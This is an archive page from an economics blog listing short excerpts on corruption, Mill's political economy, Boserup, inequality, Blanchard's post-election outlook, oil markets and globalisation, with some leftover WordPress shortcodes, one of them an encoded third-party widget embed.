CategoryEconomy

Corruption- can it be avoided?

C

  In Principal-Agent problem, agent serves (or fails to serve) the interests of a principal. The action of agent on behalf of his principal requires some discretion. There are situations that include 3rd party players (persons or corporate identities) who gains/loses by the action of the agent. There are regulations, violation of which causes a possibility of a cost (as a penalty) being...

Political Economy- A Science

P

I am being amazed by the ingenuity of John Stuart Mill since I’ve been reading his works, i.e., ‘On Liberty’. Also mentioned before, John Mill, in his Principles of Political Economy, argued that economics was not the “dismal science” that its radical and literary critics had supposed. He has put quite an effort on explaining his view on the Definition and Method of Political Economy. At his...

Boserupian Evolution of Agriculture

B
credit: TheDialogue

Boserup argues that the main stimulus to development of agriculture and productivity is the population growth. Her argument was an opposing view against the Malthus and Ricardo, who developed the macroeconomic theory of the relationship between demographic and agricultural movement in Europe. Mathusian theory claimed that “a population can never increase beyond the food supplied necessary to...

Do Policymakers’ decisions lead to an efficient allocation?

D

Usually, voluntary exchange without any external intervention leads to an efficient allocation of goods and services under the ideal market conditions. This is justified by the fact that prices coordinate the activities of buyers and sellers and transmits necessary information about the strength of demand and supply. Nonetheless, this type of efficiency is not an ideal one, because there are...

Prosperity for All by Roger Farmer (Book Review)

P

oger Farmer, the distinguished professor of UCLA, challenges the orthodox macroeconomics models, especially New Keynesian model, in his new book- Prosperity for All: How to Prevent Financial Crises. The human being in me is deeply disturbed by every crisis. The economist in me recognizes the invaluable opportunity that is provided by every crisis to disentangle one economic theory from another...

Behavioral Economics applied to Agriculture Economics

B

Behavioral economics is perhaps the most important new paradigm in economics in the new millenium. It is based on the idea that people don’t behave rationally, like economics suggests – that they are, in Thaler’s words, Humans (homo sapiens) rather than Econs (homo economicus). In the 1960s and 1970s, Nobel Laureate Herbert Simon and others developed behavioral economic theories assuming that...

Economic growth in the US: A tale of two countries

E

 By Thomas Piketty, Emmanuel Saez, Gabriel Zucman [intense_dropcap font_color=”primary”]T [/intense_dropcap]he rise of economic inequality is one of the most hotly debated issues today in the United States and indeed in the world. Yet economists and policymakers alike face important limitations when trying to measure and understand the rise of inequality. One major problem is the...

Blanchard on Recession, Expansion, and Inequality after Elections

B

Olivier Blanchard, PIIE   ill the economic program of President-elect Donald Trump lead to a recession or to an expansion? Before the election, many predicted a recession. But last week, markets clearly predicted an expansion. Who is right? It is obviously hard to tell. Announced programs are never implemented as such. Political realities and the need for support by Congress force minor and...

Global Post-Oil Situation

G

[intense_code type=”js” raw_content=”JTNDc2NyaXB0JTIwdHlwZSUzRCUyMnRleHQlMkZqYXZhc2NyaXB0JTIyJTIwc3JjJTNEJTIyaHR0cCUzQSUyRiUyRjEwMHdpZGdldHMuY29tJTJGanNfZGF0YS5waHAlM0ZpZCUzRDExOCUyMiUzRSUzQyUyRnNjcmlwdCUzRQ==”] [/intense_code] [intense_dropcap]I [/intense_dropcap]t’s not so difficult to see the current situation in global markets and economies. After Oil price...

Is Globalisation Era Over?

I

Baltic Dry Index, which measures the price of moving a major raw materials by sea, has fallen to an all-time low. Moreover, China has announced last year that, since the opening up its market to the world in late 1970s, its exports has declined on an annual basis. Energy prices such as oil and iron has fallen stiffly in a recent decade. All this factors might imply that global trade is decreasing...

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